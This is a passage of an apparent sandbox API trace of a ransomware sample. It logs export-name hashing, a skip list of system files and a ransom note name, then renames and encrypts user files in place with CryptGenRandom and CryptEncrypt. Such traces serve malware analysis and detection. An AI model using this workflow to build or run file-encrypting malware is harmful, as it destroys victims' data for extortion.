(lpString="CREATEPROCESSASUSERA") returned 20 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0132.978] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0132.978] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0132.978] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0132.978] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0132.978] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0132.978] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0132.978] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0132.978] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0132.978] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0132.979] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0132.979] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0132.979] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0132.979] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0132.979] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0132.979] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0132.979] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0132.979] lstrlenA (lpString="CREATETHREAD") returned 12 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0132.979] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0132.979] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0132.979] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0132.979] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0132.979] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0132.979] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0132.979] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0132.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0132.980] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\eula.rtf.6JNFw") returned 41 [0132.980] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.6JNFw" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.6jnfw"), dwFlags=0x0) returned 1 [0132.981] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.981] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.982] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.982] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0132.982] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0132.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\") returned 27 [0132.982] lstrlenW (lpString="LocalizedData.xml") returned 17 [0132.982] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1049\\" | out: lpString1="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0132.982] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" [0132.982] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0132.983] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0132.983] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=81482) returned 1 [0132.983] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0132.983] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0133.204] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0133.204] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0133.204] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0133.205] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0133.205] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0133.315] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.316] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0133.317] CloseHandle (hObject=0x5f8) returned 1 [0133.317] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.317] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0133.317] CloseHandle (hObject=0x0) returned 0 [0133.317] CloseHandle (hObject=0x5f4) returned 1 [0133.319] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.320] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.320] GetTickCount () returned 0x36af0 [0133.320] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0133.320] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0133.320] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0133.320] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0133.321] lstrlenA (lpString="kernel32.dll") returned 12 [0133.321] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0133.321] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0133.321] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0133.321] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0133.321] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0133.321] lstrlenA (lpString="ADDATOMA") returned 8 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0133.321] lstrlenA (lpString="ADDATOMW") returned 8 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0133.321] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0133.321] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0133.321] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0133.321] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0133.321] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0133.321] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0133.321] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0133.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0133.321] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0133.322] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0133.322] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0133.322] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0133.322] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0133.322] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0133.322] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0133.322] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0133.322] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0133.322] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0133.322] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0133.322] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0133.322] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0133.322] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0133.322] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0133.322] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0133.322] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0133.322] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0133.322] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0133.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0133.323] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0133.323] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0133.323] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0133.323] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0133.323] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0133.323] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0133.323] lstrlenA (lpString="BACKUPREAD") returned 10 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0133.323] lstrlenA (lpString="BACKUPSEEK") returned 10 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0133.323] lstrlenA (lpString="BACKUPWRITE") returned 11 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0133.323] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0133.323] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0133.323] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0133.323] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0133.323] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0133.323] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0133.323] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0133.323] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0133.323] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0133.323] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0133.323] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0133.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0133.323] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0133.324] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0133.324] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0133.324] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0133.324] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0133.324] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0133.324] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0133.324] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0133.324] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0133.324] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0133.324] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0133.324] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0133.324] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0133.324] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0133.324] lstrcpyA (in: lpString1=0x38bdb2c, 